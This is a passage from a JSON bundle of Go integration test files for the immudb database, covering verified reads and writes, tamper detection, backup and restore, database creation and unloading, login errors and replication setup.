= client.VerifiedGetAt(ctx, []byte(`key1`), txHdr2.Id)\n\trequire.ErrorIs(t, err, store.ErrCorruptedData)\n\n\tbs.Server.PreVerifiableSetFn = func(ctx context.Context, req *schema.VerifiableSetRequest) {\n\t\treq.SetRequest.KVs[0].Value = []byte(`val2`)\n\t}\n\n\t_, err = client.VerifiedSet(ctx, []byte(`key1`), []byte(`val3`))\n\trequire.ErrorIs(t, err, store.ErrCorruptedData)\n}\n\nfunc TestImmuClient_VerifiedGetSince(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`))\n\trequire.NoError(t, err)\n\ttxMeta2, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val2`))\n\trequire.NoError(t, err)\n\n\tentry2, err := client.VerifiedGetSince(ctx, []byte(`key1`), txMeta2.Id)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`key1`), entry2.Key)\n\trequire.Equal(t, []byte(`val2`), entry2.Value)\n}\n\nfunc TestImmuClient_BackupAndRestoreUX(t *testing.T) {\n\n\tvar (\n\t\tuuid         xid.ID\n\t\tserverOpts   *server.Options\n\t\tstateFileDir = t.TempDir()\n\t\tdirAtTx3     = filepath.Join(t.TempDir(), \"data\")\n\t\tcopier       = fs.NewStandardCopier()\n\t)\n\n\t// Setup the initial test server outside t.Run to ensure the main data folder\n\t// is present during whole test\n\tbs, client, ctx := setupTestServerAndClient(t)\n\n\tt.Run(\"write initial 3 Txs\", func(t *testing.T) {\n\t\tuuid = bs.GetUUID()\n\t\tserverOpts = bs.Options\n\t\tdefer bs.Stop()\n\t\tdefer client.CloseSession(context.Background())\n\n\t\t_, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = client.VerifiedSet(ctx, []byte(`key2`), []byte(`val2`))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = client.VerifiedSet(ctx, []byte(`key3`), []byte(`val3`))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = client.VerifiedGet(ctx, []byte(`key3`))\n\t\trequire.NoError(t, err)\n\n\t\terr = client.CloseSession(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = bs.Stop()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"preserve data at Tx 3\", func(t *testing.T) {\n\t\terr := copier.CopyDir(serverOpts.Dir, dirAtTx3)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"add some more transactions to the database\", func(t *testing.T) {\n\t\tbs := servertest.NewBufconnServer(serverOpts)\n\t\tbs.SetUUID(uuid)\n\t\terr := bs.Start()\n\t\trequire.NoError(t, err)\n\t\tdefer bs.Stop()\n\n\t\tclient, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(stateFileDir))\n\t\trequire.NoError(t, err)\n\t\tdefer client.CloseSession(context.Background())\n\n\t\t_, err = client.VerifiedSet(context.Background(), []byte(`key1`), []byte(`val1`))\n\t\trequire.NoError(t, err)\n\t\t_, err = client.VerifiedSet(context.Background(), []byte(`key2`), []byte(`val2`))\n\t\trequire.NoError(t, err)\n\t\t_, err = client.VerifiedSet(context.Background(), []byte(`key3`), []byte(`val3`))\n\t\trequire.NoError(t, err)\n\t\t_, err = client.VerifiedGet(context.Background(), []byte(`key3`))\n\t\trequire.NoError(t, err)\n\t\terr = bs.Stop()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"clients will fail after restoring older dataset\", func(t *testing.T) {\n\t\tos.RemoveAll(serverOpts.Dir)\n\t\terr := copier.CopyDir(dirAtTx3, serverOpts.Dir)\n\t\trequire.NoError(t, err)\n\n\t\tbs := servertest.NewBufconnServer(serverOpts)\n\t\tbs.SetUUID(uuid)\n\t\terr = bs.Start()\n\t\trequire.NoError(t, err)\n\t\tdefer bs.Stop()\n\n\t\tclient, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(stateFileDir))\n\t\trequire.NoError(t, err)\n\t\tdefer client.CloseSession(context.Background())\n\n\t\t_, err = client.VerifiedGet(context.Background(), []byte(`key3`))\n\t\trequire.ErrorIs(t, err, ic.ErrServerStateIsOlder)\n\t})\n}\n\ntype HomedirServiceMock struct {\n\thomedir.HomedirService\n\tWriteFileToUserHomeDirF    func(content []byte, pathToFile string) error\n\tFileExistsInUserHomeDirF   func(pathToFile string) (bool, error)\n\tReadFileFromUserHomeDirF   func(pathToFile string) (string, error)\n\tDeleteFileFromUserHomeDirF func(pathToFile string) error\n}\n\n// WriteFileToUserHomeDir ...\nfunc (h *HomedirServiceMock) WriteFileToUserHomeDir(content []byte, pathToFile string) error {\n\treturn h.WriteFileToUserHomeDirF(content, pathToFile)\n}\n\n// FileExistsInUserHomeDir ...\nfunc (h *HomedirServiceMock) FileExistsInUserHomeDir(pathToFile string) (bool, error) {\n\treturn h.FileExistsInUserHomeDirF(pathToFile)\n}\n\n// ReadFileFromUserHomeDir ...\nfunc (h *HomedirServiceMock) ReadFileFromUserHomeDir(pathToFile string) (string, error) {\n\treturn h.ReadFileFromUserHomeDirF(pathToFile)\n}\n\n// DeleteFileFromUserHomeDir ...\nfunc (h *HomedirServiceMock) DeleteFileFromUserHomeDir(pathToFile string) error {\n\treturn h.DeleteFileFromUserHomeDirF(pathToFile)\n}\n\n// DefaultHomedirServiceMock ...\nfunc DefaultHomedirServiceMock() *HomedirServiceMock {\n\treturn &HomedirServiceMock{\n\t\tWriteFileToUserHomeDirF: func(content []byte, pathToFile string) error {\n\t\t\treturn nil\n\t\t},\n\t\tFileExistsInUserHomeDirF: func(pathToFile string) (bool, error) {\n\t\t\treturn false, nil\n\t\t},\n\t\tReadFileFromUserHomeDirF: func(pathToFile string) (string, error) {\n\t\t\treturn \"\", nil\n\t\t},\n\t\tDeleteFileFromUserHomeDirF: func(pathToFile string) error {\n\t\t\treturn nil\n\t\t},\n\t}\n}\n\ntype TokenServiceMock struct {\n\ttokenservice.TokenService\n\tGetTokenF       func() (string, error)\n\tSetTokenF       func(database string, token string) error\n\tIsTokenPresentF func() (bool, error)\n\tDeleteTokenF    func() error\n}\n\nfunc (ts TokenServiceMock) GetToken() (string, error) {\n\treturn ts.GetTokenF()\n}\n\nfunc (ts TokenServiceMock) SetToken(database string, token string) error {\n\treturn ts.SetTokenF(database, token)\n}\n\nfunc (ts TokenServiceMock) DeleteToken() error {\n\treturn ts.DeleteTokenF()\n}\n\nfunc (ts TokenServiceMock) IsTokenPresent() (bool, error) {\n\treturn ts.IsTokenPresentF()\n}\n\nfunc (ts TokenServiceMock) GetDatabase() (string, error) {\n\treturn \"\", nil\n}\n\nfunc (ts TokenServiceMock) WithHds(hds homedir.HomedirService) tokenservice.TokenService {\n\treturn ts\n}\n\nfunc (ts TokenServiceMock) WithTokenFileName(tfn string) tokenservice.TokenService {\n\treturn ts\n}\n\nfunc TestServerLogRequestMetadata(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\trequireMetadataPresent := func(hdr *schema.TxHeader) {\n\t\ttxmd := schema.Metadata{}\n\t\terr := txmd.Unmarshal(hdr.Metadata.Extra)\n\t\trequire.NoError(t, err)\n\n\t\trequire.Equal(t, schema.Metadata{schema.UserRequestMetadataKey: auth.SysAdminUsername, schema.IpRequestMetadataKey: \"bufconn\"}, txmd)\n\t}\n\n\thdr, err := client.Set(ctx, []byte(\"test\"), []byte(\"test\"))\n\trequire.NoError(t, err)\n\n\trequireMetadataPresent(hdr)\n\n\thdr1, err := client.VerifiedSet(ctx, []byte(\"test\"), []byte(\"test\"))\n\trequire.NoError(t, err)\n\n\trequireMetadataPresent(hdr1)\n\trequire.NoError(t, err)\n\n\t_, err = client.SQLExec(ctx, \"CREATE TABLE mytable (id INTEGER, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\ttx, err := client.TxByID(ctx, 3)\n\trequire.NoError(t, err)\n\n\trequireMetadataPresent(tx.Header)\n}\n"
  },
  {
    "path": "pkg/integration/database_creation_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCreateDatabase(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\tdbSettings := &schema.DatabaseSettings{\n\t\tDatabaseName:      \"db1\",\n\t\tReplica:           false,\n\t\tFileSize:          1 << 20,\n\t\tMaxKeyLen:         32,\n\t\tMaxValueLen:       64,\n\t\tMaxTxEntries:      100,\n\t\tExcludeCommitTime: false,\n\t}\n\terr := client.CreateDatabase(ctx, dbSettings)\n\trequire.NoError(t, err)\n\n\t_, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: \"db1\"})\n\trequire.NoError(t, err)\n\n\tsettings, err := client.GetDatabaseSettings(ctx)\n\trequire.NoError(t, err)\n\trequire.Equal(t, dbSettings.DatabaseName, settings.DatabaseName)\n\trequire.Equal(t, dbSettings.Replica, settings.Replica)\n\trequire.Equal(t, dbSettings.FileSize, settings.FileSize)\n\trequire.Equal(t, dbSettings.MaxKeyLen, settings.MaxKeyLen)\n\trequire.Equal(t, dbSettings.MaxValueLen, settings.MaxValueLen)\n\trequire.Equal(t, dbSettings.MaxTxEntries, settings.MaxTxEntries)\n\trequire.Equal(t, dbSettings.ExcludeCommitTime, settings.ExcludeCommitTime)\n}\n\nfunc TestCreateDatabaseV2(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\tdbNullableSettings := &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tReplica: &schema.NullableBool{Value: false},\n\t\t},\n\t\tFileSize:                &schema.NullableUint32{Value: 1 << 20},\n\t\tMaxKeyLen:               &schema.NullableUint32{Value: 32},\n\t\tMaxValueLen:             &schema.NullableUint32{Value: 64},\n\t\tMaxTxEntries:            &schema.NullableUint32{Value: 100},\n\t\tEmbeddedValues:          &schema.NullableBool{Value: true},\n\t\tPreallocFiles:           &schema.NullableBool{Value: true},\n\t\tExcludeCommitTime:       &schema.NullableBool{Value: false},\n\t\tMaxActiveTransactions:   &schema.NullableUint32{Value: 30},\n\t\tMvccReadSetLimit:        &schema.NullableUint32{Value: 1_000},\n\t\tMaxConcurrency:          &schema.NullableUint32{Value: 10},\n\t\tMaxIOConcurrency:        &schema.NullableUint32{Value: 1},\n\t\tTxLogCacheSize:          &schema.NullableUint32{Value: 2000},\n\t\tVLogCacheSize:           &schema.NullableUint32{Value: 2200},\n\t\tVLogMaxOpenedFiles:      &schema.NullableUint32{Value: 8},\n\t\tTxLogMaxOpenedFiles:     &schema.NullableUint32{Value: 4},\n\t\tCommitLogMaxOpenedFiles: &schema.NullableUint32{Value: 2},\n\t\tSyncFrequency:           &schema.NullableMilliseconds{Value: 15},\n\t\tWriteBufferSize:         &schema.NullableUint32{Value: 4000},\n\t\tIndexSettings: &schema.IndexNullableSettings{\n\t\t\tFlushThreshold:           &schema.NullableUint32{Value: 256},\n\t\t\tSyncThreshold:            &schema.NullableUint32{Value: 512},\n\t\t\tFlushBufferSize:          &schema.NullableUint32{Value: 128},\n\t\t\tCacheSize:                &schema.NullableUint32{Value: 1024},\n\t\t\tMaxNodeSize:              &schema.NullableUint32{Value: 8192},\n\t\t\tMaxActiveSnapshots:       &schema.NullableUint32{Value: 3},\n\t\t\tRenewSnapRootAfter:       &schema.NullableUint64{Value: 5000},\n\t\t\tCompactionThld:           &schema.NullableUint32{Value: 5},\n\t\t\tDelayDuringCompaction:    &schema.NullableUint32{Value: 1},\n\t\t\tNodesLogMaxOpenedFiles:   &schema.NullableUint32{Value: 20},\n\t\t\tHistoryLogMaxOpenedFiles: &schema.NullableUint32{Value: 15},\n\t\t\tCommitLogMaxOpenedFiles:  &schema.NullableUint32{Value: 3},\n\t\t\tMaxBulkSize:              &schema.NullableUint32{Value: 35},\n\t\t\tBulkPreparationTimeout:   &schema.NullableMilliseconds{Value: 150},\n\t\t},\n\t\tAhtSettings: &schema.AHTNullableSettings{\n\t\t\tSyncThreshold:   &schema.NullableUint32{Value: 10_000},\n\t\t\tWriteBufferSize: &schema.NullableUint32{Value: 8000},\n\t\t},\n\t\tTruncationSettings: &schema.TruncationNullableSettings{\n\t\t\tRetentionPeriod:     &schema.NullableMilliseconds{Value: 24 * time.Hour.Milliseconds()},\n\t\t\tTruncationFrequency: &schema.NullableMilliseconds{Value: 1 * time.Hour.Milliseconds()},\n\t\t},\n\t}\n\t_, err := client.CreateDatabaseV2(ctx, \"db1\", dbNullableSettings)\n\trequire.NoError(t, err)\n\n\t_, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: \"db1\"})\n\trequire.NoError(t, err)\n\n\tres, err := client.GetDatabaseSettingsV2(ctx)\n\trequire.NoError(t, err)\n\trequire.Equal(t, dbNullableSettings.ReplicationSettings.Replica.Value, res.Settings.ReplicationSettings.Replica.Value)\n\trequire.Equal(t, dbNullableSettings.FileSize.Value, res.Settings.FileSize.Value)\n\trequire.Equal(t, dbNullableSettings.MaxKeyLen.Value, res.Settings.MaxKeyLen.Value)\n\trequire.Equal(t, dbNullableSettings.MaxValueLen.Value, res.Settings.MaxValueLen.Value)\n\trequire.Equal(t, dbNullableSettings.MaxTxEntries.Value, res.Settings.MaxTxEntries.Value)\n\trequire.Equal(t, dbNullableSettings.EmbeddedValues.Value, res.Settings.EmbeddedValues.Value)\n\trequire.Equal(t, dbNullableSettings.PreallocFiles.Value, res.Settings.PreallocFiles.Value)\n\trequire.Equal(t, dbNullableSettings.ExcludeCommitTime.Value, res.Settings.ExcludeCommitTime.Value)\n\trequire.Equal(t, dbNullableSettings.MaxActiveTransactions.Value, res.Settings.MaxActiveTransactions.Value)\n\trequire.Equal(t, dbNullableSettings.MvccReadSetLimit.Value, res.Settings.MvccReadSetLimit.Value)\n\trequire.Equal(t, dbNullableSettings.MaxConcurrency.Value, res.Settings.MaxConcurrency.Value)\n\trequire.Equal(t, dbNullableSettings.MaxIOConcurrency.Value, res.Settings.MaxIOConcurrency.Value)\n\trequire.Equal(t, dbNullableSettings.TxLogCacheSize.Value, res.Settings.TxLogCacheSize.Value)\n\trequire.Equal(t, dbNullableSettings.VLogCacheSize.Value, res.Settings.VLogCacheSize.Value)\n\trequire.Equal(t, dbNullableSettings.VLogMaxOpenedFiles.Value, res.Settings.VLogMaxOpenedFiles.Value)\n\trequire.Equal(t, dbNullableSettings.TxLogMaxOpenedFiles.Value, res.Settings.TxLogMaxOpenedFiles.Value)\n\trequire.Equal(t, dbNullableSettings.CommitLogMaxOpenedFiles.Value, res.Settings.CommitLogMaxOpenedFiles.Value)\n\trequire.Equal(t, dbNullableSettings.SyncFrequency.Value, res.Settings.SyncFrequency.Value)\n\trequire.Equal(t, dbNullableSettings.WriteBufferSize.Value, res.Settings.WriteBufferSize.Value)\n\n\trequire.Equal(t, dbNullableSettings.IndexSettings.FlushThreshold.Value, res.Settings.IndexSettings.FlushThreshold.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.SyncThreshold.Value, res.Settings.IndexSettings.SyncThreshold.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.FlushBufferSize.Value, res.Settings.IndexSettings.FlushBufferSize.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.CacheSize.Value, res.Settings.IndexSettings.CacheSize.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.MaxNodeSize.Value, res.Settings.IndexSettings.MaxNodeSize.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.MaxActiveSnapshots.Value, res.Settings.IndexSettings.MaxActiveSnapshots.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.RenewSnapRootAfter.Value, res.Settings.IndexSettings.RenewSnapRootAfter.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.CompactionThld.Value, res.Settings.IndexSettings.CompactionThld.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.DelayDuringCompaction.Value, res.Settings.IndexSettings.DelayDuringCompaction.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.NodesLogMaxOpenedFiles.Value, res.Settings.IndexSettings.NodesLogMaxOpenedFiles.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.HistoryLogMaxOpenedFiles.Value, res.Settings.IndexSettings.HistoryLogMaxOpenedFiles.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.CommitLogMaxOpenedFiles.Value, res.Settings.IndexSettings.CommitLogMaxOpenedFiles.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.MaxBulkSize.Value, res.Settings.IndexSettings.MaxBulkSize.Value)\n\trequire.Equal(t, dbNullableSettings.IndexSettings.BulkPreparationTimeout.Value, res.Settings.IndexSettings.BulkPreparationTimeout.Value)\n\n\trequire.Equal(t, dbNullableSettings.AhtSettings.SyncThreshold.Value, res.Settings.AhtSettings.SyncThreshold.Value)\n\trequire.Equal(t, dbNullableSettings.AhtSettings.WriteBufferSize.Value, res.Settings.AhtSettings.WriteBufferSize.Value)\n\n\trequire.Equal(t, dbNullableSettings.TruncationSettings.RetentionPeriod.Value, res.Settings.TruncationSettings.RetentionPeriod.Value)\n\trequire.Equal(t, dbNullableSettings.TruncationSettings.TruncationFrequency.Value, res.Settings.TruncationSettings.TruncationFrequency.Value)\n\n\t_, err = client.UpdateDatabaseV2(ctx, \"db1\", &schema.DatabaseNullableSettings{})\n\trequire.NoError(t, err)\n}\n\nfunc TestCreateDatabaseWithUnderscoreCharacter(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.CreateDatabaseV2(ctx, \"db_with_\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: \"db_with_\"})\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/integration/database_runtime_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDatabaseLoadingUnloading(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\terr := client.CloseSession(ctx)\n\trequire.NoError(t, err)\n\n\tt.Run(\"attempt load/unload/delete a database without an active session should fail\", func(t *testing.T) {\n\t\t_, err := client.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: \"db1\"})\n\t\trequire.Contains(t, err.Error(), \"not connected\")\n\n\t\t_, err = client.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: \"db1\"})\n\t\trequire.Contains(t, err.Error(), \"not connected\")\n\n\t\t_, err = client.DeleteDatabase(ctx, &schema.DeleteDatabaseRequest{Database: \"db1\"})\n\t\trequire.Contains(t, err.Error(), \"not connected\")\n\t})\n\n\terr = client.OpenSession(ctx, []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\tdbSettings := &schema.DatabaseSettings{\n\t\tDatabaseName:      \"db1\",\n\t\tReplica:           false,\n\t\tFileSize:          1 << 20,\n\t\tMaxKeyLen:         32,\n\t\tMaxValueLen:       64,\n\t\tMaxTxEntries:      100,\n\t\tExcludeCommitTime: false,\n\t}\n\terr = client.CreateDatabase(ctx, dbSettings)\n\trequire.NoError(t, err)\n\n\t_, err = client.UseDatabase(ctx, &schema.Database{DatabaseName: \"db1\"})\n\trequire.NoError(t, err)\n\n\tt.Run(\"attempt to load unexistent database should fail\", func(t *testing.T) {\n\t\t_, err := client.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: \"db2\"})\n\t\trequire.Contains(t, err.Error(), \"database does not exist\")\n\t})\n\n\tt.Run(\"attempt to load an already open database should fail\", func(t *testing.T) {\n\t\t_, err := client.LoadDatabase(ctx, &schema.LoadDatabaseRequest{Database: \"db1\"})\n\t\trequire.Contains(t, err.Error(), \"database already loaded\")\n\t})\n\n\tt.Run(\"attempt to unload unexistent database should fail\", func(t *testing.T) {\n\t\t_, err := client.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: \"db2\"})\n\t\trequire.Contains(t, err.Error(), \"database does not exist\")\n\t})\n\n\tt.Run(\"attempt to unload a loaded database should succeed\", func(t *testing.T) {\n\t\t_, err := client.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: \"db1\"})\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"attempt to unload an already unloaded database should fail\", func(t *testing.T) {\n\t\t_, err := client.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: \"db1\"})\n\t\trequire.Contains(t, err.Error(), \"already closed\")\n\t})\n\n\tt.Run(\"attempt to delete unexistent database should fail\", func(t *testing.T) {\n\t\t_, err := client.DeleteDatabase(ctx, &schema.DeleteDatabaseRequest{Database: \"db2\"})\n\t\trequire.Contains(t, err.Error(), \"database does not exist\")\n\t})\n\n\tt.Run(\"attempt to delete a closed database should succeed\", func(t *testing.T) {\n\t\t_, err := client.DeleteDatabase(ctx, &schema.DeleteDatabaseRequest{Database: \"db1\"})\n\t\trequire.NoError(t, err)\n\t})\n\n\terr = client.CloseSession(ctx)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/integration/error_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/errors\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestGRPCError(t *testing.T) {\n\tt.Setenv(\"LOG_LEVEL\", \"debug\")\n\n\tbs, cli, _ := setupTestServerAndClientWithToken(t)\n\n\tt.Run(\"errors with token-based auth\", func(t *testing.T) {\n\t\t_, err := cli.Login(context.Background(), []byte(`immudb`), []byte(`wrong`))\n\n\t\trequire.Equal(t, err.(errors.ImmuError).Error(), \"invalid user name or password\")\n\t\trequire.Equal(t, err.(errors.ImmuError).Cause(), \"crypto/bcrypt: hashedPassword is not the hash of the given password\")\n\t\trequire.Equal(t, err.(errors.ImmuError).Code(), errors.CodSqlserverRejectedEstablishmentOfSqlconnection)\n\t\trequire.Equal(t, int32(0), err.(errors.ImmuError).RetryDelay())\n\t\trequire.NotNil(t, err.(errors.ImmuError).Stack())\n\t})\n\n\tt.Run(\"errors with session-based auth\", func(t *testing.T) {\n\t\tcli := bs.NewClient(client.DefaultOptions())\n\n\t\terr := cli.OpenSession(context.Background(), []byte(`immudb`), []byte(`wrong`), \"defaultdb\")\n\n\t\trequire.Equal(t, err.(errors.ImmuError).Error(), \"invalid user name or password\")\n\t\trequire.Equal(t, err.(errors.ImmuError).Cause(), \"crypto/bcrypt: hashedPassword is not the hash of the given password\")\n\t\trequire.Equal(t, err.(errors.ImmuError).Code(), errors.CodSqlserverRejectedEstablishmentOfSqlconnection)\n\t\trequire.Equal(t, int32(0), err.(errors.ImmuError).RetryDelay())\n\t\trequire.NotNil(t, err.(errors.ImmuError).Stack())\n\t})\n}\n"
  },
  {
    "path": "pkg/integration/follower_replication_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\tic \"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/replication\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestReplication(t *testing.T) {\n\t//init primary server\n\tprimaryDir := t.TempDir()\n\n\tprimaryServerOpts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithDir(primaryDir)\n\n\tprimaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer)\n\n\terr := primaryServer.Initialize()\n\trequire.NoError(t, err)\n\n\t//init replica server\n\treplicaDir := t.TempDir()\n\n\treplicaServerOpts := server.DefaultOptions().\n\t\tWithMetricsServer(false).\n\t\tWithWebServer(false).\n\t\tWithPgsqlServer(false).\n\t\tWithPort(0).\n\t\tWithDir(replicaDir)\n\n\treplicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer)\n\n\terr = replicaServer.Initialize()\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\tprimaryServer.Start()\n\t}()\n\n\tgo func() {\n\t\treplicaServer.Start()\n\t}()\n\n\ttime.Sleep(1 * time.Second)\n\n\t// init primary client\n\tprimaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port\n\n\tprimaryOpts := ic.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithPort(primaryPort)\n\n\tprimaryClient := ic.NewClient().WithOptions(primaryOpts)\n\trequire.NoError(t, err)\n\n\terr = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\t// create database as primarydb in primary server\n\t_, err = primaryClient.CreateDatabaseV2(context.Background(), \"primarydb\", &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tSyncReplication: &schema.NullableBool{Value: true},\n\t\t\tSyncAcks:        &schema.NullableUint32{Value: 1},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\terr = primaryClient.CloseSession(context.Background())\n\trequire.NoError(t, err)\n\n\terr = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"primarydb\")\n\trequire.NoError(t, err)\n\n\tdefer primaryClient.CloseSession(context.Background())\n\n\terr = primaryClient.CreateUser(context.Background(), []byte(\"replicator\"), []byte(\"replicator1Pwd!\"), auth.PermissionAdmin, \"primarydb\")\n\trequire.NoError(t, err)\n\n\terr = primaryClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{Active: true, Username: \"replicator\"})\n\trequire.NoError(t, err)\n\n\t_, err = primaryClient.ExportTx(context.Background(), &schema.ExportTxRequest{\n\t\tTx:                 uint64(1),\n\t\tAllowPreCommitted:  false,\n\t\tSkipIntegrityCheck: true,\n\t\tReplicaState:       &schema.ReplicaState{},\n\t})\n\trequire.NoError(t, err)\n\n\t// init replica client\n\treplicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port\n\n\treplicaOpts := ic.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithPort(replicaPort)\n\n\treplicaClient := ic.NewClient().WithOptions(replicaOpts)\n\trequire.NoError(t, err)\n\n\terr = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\t// create database as replica in replica server\n\t_, err = replicaClient.CreateDatabaseV2(context.Background(), \"replicadb\", &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tReplica:         &schema.NullableBool{Value: true},\n\t\t\tSyncReplication: &schema.NullableBool{Value: true},\n\t\t\tPrimaryDatabase: &schema.NullableString{Value: \"primarydb\"},\n\t\t\tPrimaryHost:     &schema.NullableString{Value: \"127.0.0.1\"},\n\t\t\tPrimaryPort:     &schema.NullableUint32{Value: uint32(primaryPort)},\n\t\t\tPrimaryUsername: &schema.NullableString{Value: \"replicator\"},\n\t\t\tPrimaryPassword: &schema.NullableString{Value: \"wrongPassword\"},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\ttime.Sleep(1 * time.Second)\n\n\t_, err = replicaClient.UpdateDatabaseV2(context.Background(), \"replicadb\", 